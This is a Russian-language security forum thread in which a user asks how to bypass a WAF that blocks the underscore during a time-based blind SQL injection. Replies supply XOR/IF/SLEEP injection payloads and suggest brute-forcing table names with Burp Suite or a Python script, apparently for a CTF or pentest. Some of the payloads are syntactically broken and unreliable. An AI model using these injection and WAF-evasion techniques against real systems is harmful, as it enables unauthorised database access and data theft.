• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

  • 📣 БЕСПЛАТНЫЙ ВЕБИНАР WAPT & SQLiM: взламываем веб как профессионалы. Ждем вас 3 апреля 19:00 (МСК). регистрация здесь. Что разберём: Поиск уязвимостей через фаззинг, Реальные SQL- и командные инъекции (с выводом RCE), Эскалация привилегий после взлома, Разбор похожих задач из курсов WAPT и SQLiM.

    >>> Подробнее <<<

SQL инъекция, блокируется знак _

sygley

New member
03.02.2025
3
0
BIT
24
Добрый день, столкнулся с такой проблемой. при проведении тестирования обнаружил что WAF блокирует знак _ в слепой инъекции на основе времени. переведение запроса в HEX и CHAR не дало никаких результатов, экранирование тоже не помогло . Подскажите, как возможно обойти эту блокировку, так как дальнейшее продвижение без этого невозможно, нельзя использовать information_schema и table_schema.
проверял на основе правильного запроса.
0'XOR(if(LENGTH(DATABASE())=19,sleep(6),0))XOR'Z
знаю длинну бд
чекал на это запросе
0'XOR(if(CHAR_LENGTH(DATABASE())=19,sleep(6),0))XOR'Z
 
пробовал __, может она рекурсивно не проходит.
или
чисто time based blind sqli

SQL:
0'XOR(if(ascii(substring((SELECT username FROM database()LIMIT 1),1,1)) > 97,sleep(6),0))XOR'Z
есть ещё аналог database() - schema()
но нужно проверить существует ли username, или так же через time-based sqli или так
SQL:
0'XOR(if(ascii(substring((SELECT COUNT(username) FROM database()>0,sleep(6),0))XOR'Z
 
__ такой вариант пробовал, не помогает.
чтобы эти варианты использовать надо знать именя таблиц
0'XOR(if(ascii(substring((SELECT username FROM database()LIMIT 1),1,1)) > 97,sleep(6),0))XOR'Z
0'XOR(if(ascii(substring((SELECT COUNT(username) FROM database()>0,sleep(6),0))XOR'Z
а как можно узнать имена таблиц не используя при этом знак _ ?

название базы данных известно, может быть можно как то при слепой инъекции вывести все таблицы и посмотреть первый символ первой таблицы без использования table_name?
 
я же написал как узнать
но нужно проверить существует ли username, или так же через time-based sqli или так
0'XOR(if(ascii(substring((SELECT COUNT(username) FROM database() >0,sleep(6),0))XOR'Z
через time-based blind sqli вот так: Статья - Автоматизация эксплуатации слепой Time-based SQL-инъекции при помощи Burp Suite и WFUZZ

через count вы сами подбирайте имя (брутфорс так сказать)

Тут скорее COUNT или через if exists если вам так понятнее, проверяйте существует ли данная таблица в базе данных database() и ловите на time-based.
Напишите скрипт на python или исопльзуй sniper/cluster bomb в burp suite чтобы перебирать таблицы

Я ещё так понимаю это у вас CTF или таск какой то, т.к на bug bounty вы бы просто отправили что время ответа 6 секунд
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!